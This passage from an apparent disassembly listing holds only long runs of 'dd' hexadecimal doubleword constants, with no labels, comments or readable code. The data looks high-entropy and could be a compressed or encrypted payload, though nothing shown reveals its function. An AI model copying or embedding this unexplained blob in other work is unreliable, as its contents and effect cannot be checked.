7F00BAF8h, 4A4F7CFDh, 3284C8Ch, 0E8FF6956h dd 0FEA83961h, 0ED007758h, 0C218EFA8h, 77B72E4h, 0B5A534F8h dd 10420008h, 0F0E97C4Ch, 0B124682Eh, 7A016C9Ah, 0CE2549C8h dd 0CDE40CCh, 0B6D753C0h, 293EFE0Ah, 0BDC8813Ch, 0CA80C28Fh dd 24A860h, 0DC6635C7h, 0FF41AE91h, 54D8400h, 87CFDF50h dd 0EA10C0DBh, 0A7FB250Ah, 8DE23A09h, 0C480010h, 7308FF2Fh dd 1F9F00B6h, 68791242h, 0CF7C6A3Eh, 22631800h, 34F28CE3h dd 7B0400CBh, 7C0E6F35h, 61009095h, 44966538h, 0FFB9BC7h dd 6D0C73E5h, 7FE6AF40h, 2500260Eh, 0A68C0FBDh, 204CE1h dd 2EE34493h, 6A0D9EDEh, 0F3401500h, 737FEA6Fh, 0CB130C3Ah dd 8C106C4Ah, 3D001F90h, 0D7CD8E74h, 0F48A529Fh, 7BF401AEh dd 0AAA67E9Dh, 3986809Eh, 8AFA149h, 7CDD2E19h, 27C100D5h dd 0BC6D86FFh, 0D6AB8404h, 24C06232h, 1A37260h, 31B19666h dd 0D82380DBh, 75000F55h, 92BC61CBh, 22CF1A9h, 0F9D3A26Bh dd 0FF4056A8h, 0F7ECE778h, 0D0617600h, 0C987E10Fh, 0E3AB0F7Ch dd 0F575C4Ah, 2540AF72h, 90A1556Eh, 27668B0Fh, 981660A6h dd 2C440E7Eh, 0C7B2BDh, 20071054h, 220069D5h, 0FDB4AFAAh dd 0A1F39Ah, 9D93AC0Ah, 0F86149Bh, 56505E78h, 0E10036B4h dd 482DC465h, 1D5C019Eh, 3B086341h, 0E88E5F00h, 360E2305h dd 485AC53Dh, 0FA521877h, 98A4E4B0h, 20F61230h, 99C10096h dd 0CC0BFC71h, 7277089Ah, 3442FA00h, 0FB0D0998h, 9DC50076h dd 58A00A0Ch, 0C20050F9h, 0E9832A52h, 0F76FEAh, 85792EC1h dd 0F3F2E32Dh, 0CC31C301h, 12BB8BA4h, 0E461FAECh, 256000FDh dd 0EB1C17E0h, 0F8000B1Dh, 0B1A6AA06h, 805630h, 1B7A18A8h dd 0D9275062h, 12BCA91Eh, 24B5FB46h, 2EEF0AB8h, 0FA82051h dd 0E40BF62h, 70890969h, 2464BB00h, 4753E332h, 0F2E724E6h dd 15B0078h, 0F1428198h, 8A0031F0h, 0B5A7D145h, 0C976C0h dd 0ED2DD214h, 0CABA5F6Fh, 0C400F67Eh, 477F207Ah, 4C739BF5h dd 6114045Bh, 0A0806C32h, 0E5245DB7h, 21370700h, 113A3BB0h dd 935200ACh, 0CA624B40h, 0F03DE6CDh, 4F618E69h, 4DB2C0C5h dd 0F0129531h, 796F04A1h, 809DC627h, 0F787749Ch, 47925300h dd 0A0FCE2F0h, 4DB601A5h, 1875F9B8h, 4D880AFh, 324EC031h dd 848007Ah, 3E24E51Ch, 0B0B0C80Fh, 0FCA392A1h, 0A4B0E01Ah dd 9970C22h, 0ED4B7719h, 3554015Dh, 0AEE857CCh, 0E2F30039h dd 17600FF4h, 0D3014D4Bh, 35FA3F38h, 0D5701FC2h, 78893FB1h dd 115A2A80h, 77F6E2EDh, 3E487000h, 26B0A671h, 2B280330h dd 0F4D58D64h, 68940688h, 1C11A31Fh, 1017A0A9h, 0F53E1000h dd 0ECD9F1h, 0F24E6CE4h, 0CBFE3FBFh, 38731E00h, 29200485h dd 8DFB02C5h, 0D77D5095h, 73629483h, 0E5C054A8h, 667E6301h dd 0BED88AE8h, 29954082h, 0C1C624h, 76F1C47Bh, 376C8200h dd 7FF43EE0h, 19FB00CCh, 33C0E831h, 3A0009AEh, 2A98FDE1h dd 579412h, 9562738Ah, 0B7DF606Eh, 9BF06500h, 9FEBA517h dd 0C7AC000Dh, 0E7733CE0h, 0B60FE28Bh, 0C0E36E14h, 0B99752CAh dd 0A9952410h, 0E50E005Ch, 0D77A9829h, 430055FCh, 0E626C7EDh dd 0F262F3A8h, 0B71728F2h, 1F3F00D2h, 0F65174D6h, 590028BEh dd 0DB8AE503h, 0FB532981h, 58A714E8h, 3A04E858h, 30073424h dd 587B5CB3h, 6EA1D876h, 0B5002008h, 5D39360Ah, 0C200A487h dd 0CB245855h, 4CBE0030h, 0F9EA1A13h, 9C005A07h, 0B922006h dd 0F2A92880h, 9430077h, 560E8F6h, 13034F87h, 88250F5Eh dd 69CAC0F2h, 0FE180040h, 0B8C800Dh, 9604D7C0h, 0C2884D16h dd 82F50490h, 7B592889h, 1B5B05ACh, 0BFD9Dh, 8B6ECCCh dd 0AE02FA0Ah, 0D4C97C9h, 0BCE48089h, 1C81EEBDh, 800E7751h dd 8AA31641h, 27032E4Bh, 0D05F22FDh, 6CAA00B7h, 1796030Eh dd 0CE1D3FB8h, 6D8097E7h, 0B5FF7324h, 40916C5h, 0CD68009Dh dd 5E51EE4h, 0DB5B5700h, 8194D936h, 476400D5h, 0A8FF56C6h dd 76001851h, 5FEEF09Dh, 0CE6ADFh, 8A465770h, 10868321h dd 2E0D3Ah, 0EAA4AC6Ch, 3F45F849h, 0C507E49Bh, 0A005BEB7h dd 0B6AC9F0Eh, 48FAAF3Dh, 0D89E006Fh, 727E4C38h, 7E287BCCh dd 5D140C09h, 9E609119h, 0C877D47Dh, 28F738h, 593B8BCBh dd 0DB561Ah, 0CFC9783Fh, 0BBD9B618h, 7772717h, 0E8F2B006h dd 0CDF90040h, 33AD3439h, 0FE8B970h, 7DF05000h, 0A858E899h dd 3071EDh, 324B9C9Bh, 0C22DCCC7h, 83161E3Ah, 1FBEA253h dd 26180A46h, 0C238869Dh, 88040BF3h, 377F075Ch, 22B380DAh dd 0B5006C6Eh, 862EB3Dh, 0EA9B3391h, 0CFC73B36h, 0EF235400h dd 3CCE554Bh, 0FCBE300h, 9E32DCD6h, 0CCD10048h, 8AB791BEh dd 0B4A8C65Bh, 4460C102h, 0F71CA690h, 0B5DB3D7Bh, 80D2A703h dd 93B8BF82h, 0E0004CA4h, 0D905E12h, 0F665B844h, 0CE0900D9h dd 1C27E888h, 48FE12C4h, 0ACE62E03h, 1258772Dh, 0FFBA58h dd 0C0EF784Eh, 358DBC6h, 0BE9D00ACh, 7A819010h, 0B9B20075h dd 9B14B158h, 3460AB0Ah, 0ADDB4620h, 224E01C6h, 0B6AF5540h dd 0E380C6A5h, 5BA69A8Bh, 27FCC250h, 0E205F000h, 18461D98h dd 0A29C00ABh, 8DEE4E41h, 290169C5h, 8E0F8744h, 0D530C1AAh dd 6D8CA078h, 7607005Bh, 6A7CF12Ah, 0EF00929Ah, 6F55F396h dd 0FA5D6h, 372BE5FEh, 0E925339Fh, 0ECE48300h, 51930ECDh dd 8A900024h, 65E23D3Ch, 4A00D03Fh, 0B544C6CFh, 0FD41B8h dd 1B98529Dh, 748318E9h, 809F9A3Eh, 0ECE744F3h, 0BC753Ah dd 2ED90FB9h, 0C8A60D4Bh, 0FE011BEAh, 0FDD5E16Ah, 0CCDC2607h dd 0E62A00A8h, 0A1D399B8h, 0CBEAC972h, 26A9BF0Eh, 0C03E4F1Fh dd 686CF80h, 0E8830028h, 0DE4ED6E3h, 44006533h, 532767FEh dd 989EB0h, 70FC2413h, 0E0A0CCCBh, 29264800h, 833499F5h dd 4457002Bh, 0D37BFDCFh dd 7700CD27h, 0F6AB1D52h, 2EAD3Bh, 0B6A4C654h, 0C105535Dh dd 0D8515E00h, 0D4079D4h, 66E60246h, 9AD2B8A0h, 523280DFh dd 0C8B47Bh, 0DC748FCh, 2688E493h, 87203901h, 50B9AC4h dd 2B84E941h, 7B10ECh, 41551477h, 578173EFh, 0EC6A9200h dd 0B23A1999h, 719E0065h, 3602A469h, 0C4073D7Eh, 3FDD726Eh dd 818CB620h, 0E3D70786h, 37C6A2B5h, 5F54004Dh, 1D07B4C9h dd 2B49AA2Dh, 1B96004Bh, 0CC38FAh, 9DE547A7h, 3D21C248h dd 78DF2701h, 41356949h, 0F831CCh, 0E3898F43h, 0E4AD3DA6h dd 26604500h, 4FFB021Dh, 400464DAh, 0F762C0F9h, 7B05B5D0h dd 829A5EA6h, 5AA010C0h, 8A9E00CFh, 3FF14BD4h, 0DF00D063h dd 33C90AB9h, 68C19Fh, 0A5803A35h, 34F1FF3h, 5FEF2D00h dd 10DDCC0h, 0B05D706Dh, 67280015h, 0E5BFA7Eh, 4D031474h dd 44A28773h, 111AD075h, 9E2D269Dh, 215E132Ch, 0E47A9300h dd 0C4016EF0h, 227D48B9h, 0C7D06D82h, 0D92B006Ch, 1CFD1A34h dd 0CD008A73h, 353703D2h, 0E0BE9817h, 0B51900B2h, 78A333C8h dd 2EEA1238h, 0D0911F00h, 8342F75Eh, 131EE23h, 0E89FCB03h dd 0BCFC7FF0h, 5CA40088h, 50DE30CEh, 97EF009Bh, 0DD6C5BCFh dd 760C4073h, 785ED744h, 82150378h, 9DA68EC2h, 1013B0E8h dd 0BFEB8D18h, 1326C066h, 0D96AEEh, 0C3BA8E17h, 6776205Ah dd 9BAEDB03h, 0C2CA5B4Ch, 1A2F40DAh, 0CA800B7h, 32F6C035h dd 6A014195h, 6268E18Bh, 42F063F4h, 0CEDA093Fh, 5E802E93h dd 71C97398h, 0D9A85102h, 40CFB5E7h, 8966DCh, 8045E82Dh dd 8FF48C1Fh, 51DC4800h, 0D53923D9h, 2F9A0393h, 655D0D6Bh dd 9D4DC0E8h, 7754EA07h, 0A8474EE0h, 61F68B50h, 0F2A70002h dd 8985C3A9h, 0CA017C50h, 0ECAA3A56h, 32F0CDA3h, 0CEC500DAh dd 94B4D3EFh, 0A43CFE93h, 579C003Bh, 13F56DBh, 0D48E17F7h dd 21711331h, 32C39080h, 35BD07FCh, 2E41CDA4h, 0BFCCCABh dd 3B7A51h, 96F69164h, 0B22AACAFh, 1C4E6800h, 0CA4385CBh dd 16900EDh, 7BC2EF5Fh, 200367Ch, 973A219Bh, 18CC6FFAh dd 0A4F7D89Ch, 0A60040F2h, 0E8D7A091h, 0F4976ECBh, 14E20158h dd 0B8C0CC83h, 8480F0EDh, 2C52A700h, 96D485A6h, 0F1C40104h dd 43AC5F75h, 951820FBh, 8F0F24F4h, 870F81F4h, 0F7B0337Eh dd 2C78B8AEh, 540134Eh, 80252A61h, 0B71134D8h, 695A771Ch dd 9163A240h, 0F439B48h, 2A7AB06Bh, 0C8F90036h, 0DBEEB706h dd 347A6AF4h, 80199D3Ah, 13E7CE7h, 1C93DEh, 8A917ECAh dd 0CDA0AF43h, 556E6103h, 98BBED94h, 0D5B186h, 29EF7190h dd 36FB62A3h, 4CAC8400h, 0B8C499B6h, 72C01CAh, 1BBD46A0h dd 564730A4h, 1AA37C00h, 0C339AC9Ah, 459B0008h, 0CA13104h dd 0D47424B8h, 51A9DD0Fh, 20CBAF96h, 9248BFF2h, 0DE970017h dd 0FBB2A057h, 0FF00BB4Eh, 0C61BDBA2h, 7E274533h, 154700D2h dd 7D6AD91h, 0E500DEBFh, 43BC4C6Ah, 39C17A9Ah, 9C9D9052h dd 9698BFBh, 32ECB183h, 2D613488h, 433BFA00h, 6B93BF8Dh dd 13E29Ah, 596CE275h, 7D2A78AEh, 0EFAA2800h, 71F81AFFh dd 0F072E0h, 89B0DA46h, 0BC87FE63h, 97E36A1Dh, 0DEEA0641h dd 16D0C384h, 0E53C0031h, 0FF1C1ADh, 0EF01DAD7h, 0A1657634h dd 0CF70ECB6h, 0F72C0099h, 729FA36Ch, 4300080Ch, 4C85F548h dd 7B6D79E1h, 508003A6h, 70EFAB89h, 0B23B0288h, 5323D000h dd 2E514B5Fh, 31571B24h, 0B4C0199Bh, 0A0982A03h, 0CA10C301h dd 0DB409E9Ah, 222B3480h, 3B736184h, 0D9641501h, 0CBDF3807h dd 7D54ECh, 0C61D23D3h, 0EB4C09B8h, 8CA9DE00h, 1F905BD6h dd 0BD130FFDh, 6261A831h, 0DC7976D2h, 2600E460h, 0FAB36C7Bh dd 502A7750h, 0F8E39B44h, 0E6831686h, 47A20ED9h, 0DF890620h dd 6C00F275h, 403BE254h, 3B72B1FCh, 1103D527h, 866A4EF6h dd 0C6C836DBh, 210733BEh, 3EA727C5h, 0DA003017h, 79824EF8h dd 0AEE90055h, 0E174A6Ah, 3D0354AAh, 1B974DBBh, 1F08A064h dd 47A1A08Dh, 0B8A3039Fh, 0F62FE572h, 999BF0D8h, 0A900EDE0h dd 91424C28h, 0E90A3BDh, 2ED1835Ch, 0D9E7A0C0h, 0D31FC570h dd 0C6C062FDh, 0FB6375F5h, 0E968012Ch, 188261C7h, 0EBCCE409h dd 9ED79B0Eh, 0DD00F6FFh, 441BBFF3h, 3B70EA7Ch, 0A080C51Dh dd 5FDDF758h, 5E003623h, 0ED378A9Ch, 9A3FFDh, 53072284h dd 74E28BC5h, 0DC0BF507h, 1DE3FB7Fh, 0F357A8D6h, 0B72C005Eh dd 128A47EBh, 0A401364Ah, 6F2FBE84h, 78E85C3Eh, 729B00FDh dd 0D14943A8h, 0A3037F47h, 3B5F5738h, 0F2FBE8DFh, 0AFE0083h dd 0DEFAE192h, 5400BE24h, 0C3EA7E41h, 882E53h, 0E81A608Dh dd 72A7E702h, 5019F01Fh, 0EF752940h, 6E1F40DFh, 7A8051CBh dd 94CC01D9h, 8FBE0197h, 38837624h, 0DC93F417h, 2CE1282Ch dd 0D5C1D100h, 72992D3h, 346D2F73h, 0F49F703Dh, 103CEB0h dd 7884148Ah, 9B2AC045h, 2C36006Ch, 5E5D3C6Bh, 0EA00442Dh dd 41788610h, 0E3ECB4h, 4BE4B28Eh, 535AB650h, 0CF8F8200h dd 4F798337h, 816114B7h, 8000E0F4h, 0C5590A5Bh, 0EF07E576h dd 481B7221h, 0F5093333h, 0AF5CAEC1h, 0DD7070h, 1C3CF6DEh dd 8B080A39h, 0E16FC10Eh, 7BD000CEh, 0B6BB9h, 80A6977Dh dd 0E42809F5h, 0F7BDE106h, 74718185h, 3012EE6Fh, 0F510EEC1h dd 0F9702860h, 4C577D07h, 5840ED10h, 126D2A2Bh, 37EDE80h dd 40B6D1EEh, 265CA390h, 72F3E300h, 53D97D25h, 312D0008h dd 0BAD80E1Fh, 34020410h, 0F921A3E1h, 5624C074h, 28790080h dd 51184F76h, 750AD284h, 44C4129Ah, 0F93A7204h, 0CB136C91h dd 0F1F02FC1h, 0A39079h, 0ED2EEEC3h, 9A9869A3h, 3DAD7307h dd 9360B9CAh, 0F4FCE3C4h, 0B8C80089h, 36F4F82Eh, 531FE17Eh dd 5640C2D6h, 281EE2E8h, 0B8CF0098h, 0A8018B47h, 0BA006DCBh dd 0AA84FB2Dh, 313514h, 339694D6h, 0D747BFD2h, 8E9A6000h dd 0FDA155F7h, 0ECB1CBA5h, 14DB2D00h, 71008FB4h, 75EE58D8h dd 5544D596h, 0D087B86Ah, 6725B866h, 0EA768362h, 36B5FBB0h dd 63219CE5h, 5A2BA901h, 398082D8h, 1A0326D6h, 8B608A58h dd 856DC529h, 372D008Eh, 4C824559h, 0A600ACB5h, 4B4FCD6h dd 7DA9F81Ch, 9E59C0E0h, 0D64CE8A7h, 8C43760Fh, 0D903C0EEh dd 1673DF9Fh, 7A8121Bh, 0F18B69A8h, 0F0A51ADAh, 1500F296h dd 0FEDE84C0h, 0A9D559h, 8F616DC7h, 99F030F1h, 78EEE803h dd 7F7DD71h, 0F8BFF5D8h, 0EAE1CED3h, 0F4B975ECh, 720033F0h dd 0BDEE8934h, 1D047098h, 9D808FCAh, 0F6928CA8h, 4F0027A8h dd 0DBB77DB4h, 7F05895h, 6DCE1EE8h, 70CB85DCh, 25D45704h dd 0ED076C7Ch, 0A66AD02h, 29CEB6A0h, 50840C52h, 4B285A7Bh dd 0B8133801h, 65C74CEFh, 0CAF201h, 8E669Ah, 0C2DD93F1h dd 693BC6E8h, 54E73Ch, 0A760EC95h, 229AE93Fh, 9E228675h dd 898AEEE7h, 442508FCh, 51C0CA83h, 23AA7733h, 638A00A8h dd 0EDB29259h, 950135B8h, 7394C4D6h, 0DDE07C3Ch, 252801D3h dd 0C88B34A5h, 749141C6h, 9C7DC8E4h, 2E970500h, 904552BEh dd 952C0067h, 0DD66A5D8h, 1600DF1Ch, 844701F3h, 1C8D73Ah dd 67921F4Bh, 430FF211h, 100096D0h, 1666231Bh, 0C32EECh dd 0A6FE31FFh, 0A0831359h, 0ADE78BFh, 0F1DC3690h, 2A4F00D0h dd 610310EFh, 0FE3DDB00h, 0D9CEA58Dh, 9CBB00D6h, 202BB929h dd 0ED7721F0h, 0F29B98C0h, 3FB24012h, 4F0019F8h, 8822F173h dd 25003BA8h, 8E538D3Eh dd 730DB75h, 365C141Ch, 131110CBh, 0A41E1EEDh, 7B4BC923h dd 0C21F00BDh, 1D20EA53h, 7CF584E3h, 1BF28B0Eh, 0F929C07Dh dd 0E83DC9A4h, 0B8765C01h, 1AD7A820h, 0D470ECh, 778CFBD6h dd 5BA15968h, 2CF44900h, 15AA7193h, 0A0B8A3h, 0F9EBE80Ch dd 3AF6FA94h, 1C514E00h, 4D84A75Bh, 65EA007Dh, 476E3999h dd 0B7187280h, 0DF289409h, 0DAF12E03h, 91D200DEh, 7E243285h dd 8723263Dh, 28FDC9A7h, 3CE02FB0h, 204901FFh, 0B08CFAB5h dd 0C157DE1Ah, 0AA6090FBh, 0D0E03D03h, 0F7508780h, 2636EAFBh dd 4273D400h, 11D97240h, 0D8920048h, 0DE3F1BC3h, 0FB006CDAh dd 5D54241Eh, 0A0233h, 0AABDE473h, 4492C4FEh, 0A253F400h dd 80378BE3h, 7E1501BFh, 0C57762C7h, 0A434FC7Dh, 29BBEC00h dd 80B2A285h, 4BC300D2h, 680AD1EEh, 990077ACh, 0F352B802h dd 637C69h, 0C7543D55h, 0CBB473DAh, 0A070B91Dh, 8590B601h dd 0BED4D43Bh, 0D9E200DBh, 0F2694E14h, 39009BD0h, 95CD797h dd 3537FEh, 2DD18707h, 9860325Eh, 0F1447300h, 0ECA3A05Ch dd 379600E8h, 5B56804Ch, 0B97F85CCh, 42EE3D00h, 606C59FBh dd 3CC10720h, 909C1726h, 3D2B41F8h, 37C6F000h, 0CB535F30h dd 0BDA100C7h, 7D6F4A5Ah, 0F71C889Dh, 0B88003DBh, 0EE08E7A8h dd 1C570011h, 0EAD45DC4h, 9000BE3h, 0F73687E2h, 31B8E90h dd 97754ACDh, 0F1B8706Ch, 6900D509h, 0AD35FE4h, 1668CC0h dd 6572F84Ah, 70445CB0h, 640E55CDh, 0E0592B25h, 0C92A4812h dd 766A00A3h, 0F0068B0Fh, 0A02D298h, 0BEEBE05Bh, 0B26AC022h dd 5C2A1D97h, 0FA37C0DAh, 4646698h, 35DC3D02h, 0E344B417h dd 0DF8EA992h, 7B4EF4h, 0EF58A526h, 0C3041A72h, 0A2D4F000h dd 6EC6BBE1h, 62D000Bh, 0C80E9DEBh, 33003A7Eh, 7C546B5Bh dd 393532FDh, 0F003F72h, 70F3FFADh, 0D0005329h, 17A0051Ch dd 0BF3CA9h, 62CBF866h, 403D5EB3h, 0B004CE0Ch, 5724A9Ch dd 57E96CDDh, 9812ABh, 4442924Dh, 7A00BC47h, 9AD6CA67h dd 0F4AEC4h, 1DE6E121h, 4396B5C5h, 1AEB1400h, 0F9362D9Bh dd 3F3F7F84h, 0A00DD76h, 0DA04A7BBh, 0CF7C1EADh, 0B830BE07h dd 0AA11DC8Fh, 0AC423419h, 136041B2h, 0D2EDFCh, 0DCEF225Ah dd 71F47ECBh, 6D312600h, 0F27CC9F5h, 9C05075Dh, 104E43DBh dd 19E08521h, 50CAD903h, 0F8AD22C2h, 4152BC0h, 62A531C4h dd 0D482C0A2h, 2EF84DC7h, 0ABDDD100h, 32180BE0h, 732F0F74h dd 4D0FE107h, 71E44FE1h, 0C71EF044h, 161ED470h, 0DC8088C2h dd 0F9A9952Dh, 52CE0EEBh, 6F63BF91h, 1000A6D5h, 0ABC96613h dd 0E5F1534h, 60C57449h, 122C45h, 8AB3D058h, 0EE5E94C2h dd 58D493A1h, 19FD0052h, 47B43A29h, 0B6012669h, 0ED187DD4h dd 20807B89h, 0AA30EC0Dh, 0DC3D1DD2h, 297A01CFh, 0E3BDB373h dd 6FA81080h, 2E519921h, 0B405BC1Dh, 0AD00345Dh, 832681ECh dd 42950049h, 0FC841101h, 4C133A93h, 5B1FF273h, 0ADF0B084h dd 0EDC00080h, 0E4F50141h, 0DEA71A34h, 0CC0BD878h, 30F3443Bh dd 29B3F0A1h, 0A68403ABh, 0E132CDACh, 75D9B4F8h, 0F8AB100h dd 727631DBh, 0A766004Fh, 1C828D5Ah, 81005CA2h, 0E698631Bh dd 3F51D11h, 0D03B7049h, 6EF84B1Fh, 0B500E34Ah, 0CD41DE94h dd 0D86663h, 0C116A265h, 0BB4FFBEDh, 27EE2A00h, 0E2020A8Ch dd 0E57F0014h, 0EB8EF80Eh, 0A200AAE7h, 1E46539Ah, 7EA1CAh dd 0E1803A03h, 25EE32Ah, 0D7923600h, 6125DC52h, 1BC2396Eh dd 31826900h, 0D493CD1Ah, 60AF7104h, 0F1C05572h, 0F06DBA91h dd 0F1CB00B1h, 6B9D598Bh, 8F00FC81h, 3FE8949h, 311C12Dh dd 60C958CEh, 27D2D817h, 0CC1C21E1h, 0B409E35Bh, 31FDC2h dd 56B19F7Ch, 2E7576ABh, 25A6CEh, 0E70B950Ah, 47F404D4h dd 1E6FCA01h, 0AEE1F9ECh, 58CC70h, 8292B13Fh, 5ACC48A3h dd 4500B990h, 8DF24D67h, 0B0E246h, 0F91C0544h, 4F533FAh dd 0D18C9906h, 30D362h, 0E1FBEA54h, 5BACBD0Ch, 0AB197960h dd 0E77CE6B5h, 2090F5DCh, 9B00D4B7h, 5CB45238h, 3C591Eh dd 0A6C451ADh, 0BD6C7717h, 7300307Dh, 5B247F46h, 6DABA0h dd 1064FA09h, 1FCF54D0h, 0AA22E6C0h, 0F472563Ch, 16E90097h dd 0C83F5B9Dh, 6701B59Bh, 0A30F105Dh, 1C30D312h, 0A6B10755h dd 40BCD245h, 0BFBDF29Fh, 0A3D7CE00h, 79EE222Dh, 30DF0001h dd 422C4DD6h, 0C101AB93h, 0D1F20F80h, 91602D14h, 0F4D90E57h dd 0D4CC39Bh, 18005F18h, 71134886h, 1D5BC91Dh, 40ABA612h dd 4BEA809Dh, 0FC7767FDh, 0E776C800h, 792B0E58h, 0A7351FFBh dd 2C6C40D3h, 998CD675h, 9BD12A00h, 0B81DB1C8h, 48620094h dd 0A927FA9Ch, 68008CA8h, 0E6B65E8Ah, 54CFFE8h, 0D66B0328h dd 0EABC40C8h, 3296F50Eh, 2723A100h, 0DFF9826Ah, 8ACB4C75h dd 0D0151400h, 8DBEB7B9h, 32AA7000h, 1F5940C0h, 0CB4F001Bh dd 62A3D01Ch, 0DD00C874h, 0FE4CC3Ah, 0F08A46h, 0E754BA43h dd 0CA271BD1h, 0A00D0400h, 624C0FFh, 7D39005Fh, 0A8FE4AF8h dd 14009A20h, 0BFD42750h, 5BDC53h, 0CFCDED39h, 87DA432h dd 0C0992B00h, 62CCE929h, 0A0831285h, 0CFEF0E0Fh, 0E62E3920h dd 6C0C81B1h, 18FE0A27h, 9F4700A7h, 2003DD73h, 0E90B1219h dd 0E159586h, 31F4C03Ch, 780E60h, 5AEEA5C0h, 59ED8943h dd 7C4E4000h, 0CE3B5DB3h, 789902F1h, 9D621615h, 434FE3C0h dd 0A2249200h, 0A3060748h, 44A003Ch, 73FB355Bh, 0CE719B96h dd 2AEAD200h, 8A50D068h, 0A5BD0038h, 6482F98Fh, 0F0001C6Dh dd 20C06546h, 0E8F3A3h, 0FF5169D7h, 2C08E1C1h, 0A6F1721Eh dd 4F33EC80h, 0EE4247h, 14B21C22h, 0C3FE2C09h, 0AE1E2AFCh dd 3A8F2321h, 19E56084h, 4A7C81Eh, 48A5A183h, 0CFBA808Fh dd 0C6004D78h, 7B7FE5E9h, 3EBFFh, 22495BE8h, 1A966E4Eh dd 42415D0Bh, 0B7F50056h, 3B1C7BA9h, 17709B0h, 0E3CC0F1Eh dd 804DD47Ah, 15AEFB30h, 1C6A9E68h, 0C01CD9h, 19125614h dd 0A500C1B1h, 0C552AEF6h, 14C2B8E9h, 9402BC91h, 4C6E4E11h dd 7ADE1DB9h, 211072C0h, 1F0315ABh, 40236473h, 0AE59E16Dh dd 9D00D7E2h, 0DAB279CAh, 77941DCEh, 30EA245Dh, 649E0004h dd 0C192E40Dh, 759DB200h, 21CDCF35h, 0D96D0051h, 6391D031h dd 860068D5h, 416B1CF4h, 0FCFE60h, 0ABDC49DEh, 3A1B1504h dd 0CF00347Bh, 9819D410h, 0A4593Eh, 6E1FBDF1h, 71862860h dd 41724000h, 466820D2h, 6CCD0059h, 4EBAE7E1h, 0B40282CBh dd 6AB85137h, 46D0812Bh, 4C2080B9h, 0F5BB0049h, 81050431h dd 180082D9h, 0BDC0E9C4h, 12FF5A66h, 1F2796h, 952B7F2Ch dd 0AA181698h, 5E407E1Ah, 0BBE300F9h, 0F3E64EC0h, 0C200BF60h dd 3369D616h, 0BED1B5h, 2EF6ABA5h, 5E494129h, 9A036378h dd 8A23FC16h, 77EEA91Bh, 38919180h, 0EB2C3101h, 0CC6B6128h dd 0A93C4901h, 0C82021ACh, 18C45080h, 2FB6AF4Ch, 29068332h dd 1A9F403Dh, 840D005Eh, 249B2B18h, 0CD028F59h, 783A0DAh dd 0F7D08025h, 9E326C1h, 0BD0DAB20h, 0C8E7000h, 5E00F8E0h dd 17555FE7h, 26834Fh, 8A3B337Dh, 12A175FFh, 0A9E29A04h dd 0EC902CBAh, 10F6Bh, 0ACA45785h, 5302D7FEh, 4A01C676h dd 0DCE7BE3Eh, 0D0EF01DEh, 305F45A4h, 3EC90A6Fh, 0C403BA9Ch dd 0B6A781A1h, 4151B8EFh, 3B587283h, 8F00806Bh, 0B4AB9FBBh dd 0DA307FB2h, 56AD1092h, 0CE0B0044h, 9886A942h, 0F3E6E8A7h dd 29923Fh, 9372D44Dh dd 41373D3h, 71EAE27h, 0F8C480CBh, 23006F7Eh, 9A178E37h dd 418A97h, 4AE73071h, 6D75B8D4h, 54C74300h, 38FE73D2h dd 2621308Dh, 858BD311h, 0BB025503h, 0A3B7E345h, 18C5E0D0h dd 7E8014FDh, 0A630B80Bh, 2D4E5F31h, 69123505h, 0D080ADB2h dd 90270447h, 842F01FDh, 88317D4Ah, 6ECC456h, 0B7CFA900h dd 0C33CE825h, 308E0EC6h, 11C0714Eh, 6D70B863h, 8929C400h dd 0C93D9976h, 0ACD50E0Ah, 1DEA64E2h, 0B90900CCh, 0F2570D4Fh dd 7AD04B0Eh, 8920A391h, 0FFEBC896h, 48C33AB0h, 0D39D900h dd 0A88D9772h, 2026ED0Eh, 444D643Ch, 60A32C82h, 97C2354h dd 0A9038C04h, 59AF1800h, 660091BCh, 966D77A3h, 0F0609B62h dd 6CBA3C84h, 0DCF8A40Eh, 0FA72FEE0h, 0C217CCD4h, 1F006F53h dd 9FE125E0h, 0A2880793h, 70D42390h, 0C3A7D57Ah, 1E97DF18h dd 0E81168h, 0F63BDBD2h, 0A2166255h, 5F942800h, 769AE698h dd 0F00760A1h, 0DDDE47E2h, 5122FE00h, 9DD09F42h, 96C00123h dd 355D787Eh, 9E49C45Fh, 0D1F36B00h, 83192CA6h, 0E90E00EBh dd 8CD37A98h, 481D6EB5h, 64C0D69Dh, 0B7A37295h, 44220118h dd 0AD5B590Ch, 0D4602410h, 267A0900h, 4BBD5D91h, 53472C32h dd 18764050h, 0DD28CEFEh, 4400A46Ah, 0EE1EFC87h, 9CBFE5h dd 5E27685Ah, 0D0DA0F01h, 57D6EA05h, 0B000768Ch, 1C131462h dd 97AC00BBh, 274B40FDh, 23014209h, 218582FCh, 0F831B154h dd 0CECFC8h, 0C69F576Bh, 0A8E271B8h, 0C094744Ch, 6DC04EEAh dd 0A55200B3h, 49ED5516h, 3F7B485Bh, 1861D000h, 85D2C525h dd 95D42C92h, 0AAA20F90h, 0A3B3F2A3h, 2D598DE8h, 18857207h dd 3603996h, 8B8971h, 1CEA1B7h, 0BC730D28h, 75529F05h dd 0B080A2A9h, 90606AF2h, 870539ACh, 5D00C83Ah, 0FC98710Ah dd 0F7012079h, 0DC59F23Bh, 0A8EB4567h, 5A2DDh, 108F9EBEh dd 0D0735108h, 931F9602h, 681B9929h, 7243FD98h, 6970075Fh dd 30754EC4h, 0AC3080Eh, 0BCA06FE6h, 10034C8h, 0CF5161CDh dd 217B862h, 0BF6DFFC9h, 2862D43Bh, 22055363h, 751A15D7h dd 6A0C7880h, 1F440035h, 0FD0ECA81h, 2B00AD08h, 0D4DBAA53h dd 0FC6F26h, 2EAEC098h, 0EAE2E057h, 108C9E4Dh, 4A810B8Ch dd 0D0E6DFDCh, 7C01510Fh, 1F28BAA1h, 0D1CCA835h, 0EDE109A2h dd 0A4005B97h, 28052160h, 0C07DA100h, 0F04E9AB0h, 2EA60011h dd 3DE19939h, 0F4E4694Bh, 53512900h, 0B8D603DFh, 7DCB00ADh dd 7FDB859Ah, 1D729FBEh, 4F2D020Fh, 8FC2C0F5h, 3F9891FEh dd 4C85A66Bh, 80F1D73Ch, 3E8B595Dh, 40030AF6h, 827CCDDFh dd 0BF20B0BEh, 6D5009Fh, 163711ABh, 0D97936B3h, 75FAB800h dd 0E045E984h, 25E21CCCh, 7C62CE02h, 108027E9h, 3E689666h dd 0B416D800h, 47DE2BD2h, 20690044h, 0C8DF5D0Ch, 0D00CB51h dd 678BE003h, 8542A1h, 35A0FEE3h, 6C6C80Bh, 22005CB2h dd 86F56B1Fh, 0E2598C0Dh, 0B72B0041h, 144B1D38h, 1C0046A6h dd 0ED353A83h, 0B861A0EEh, 7827E93h, 716006BBh, 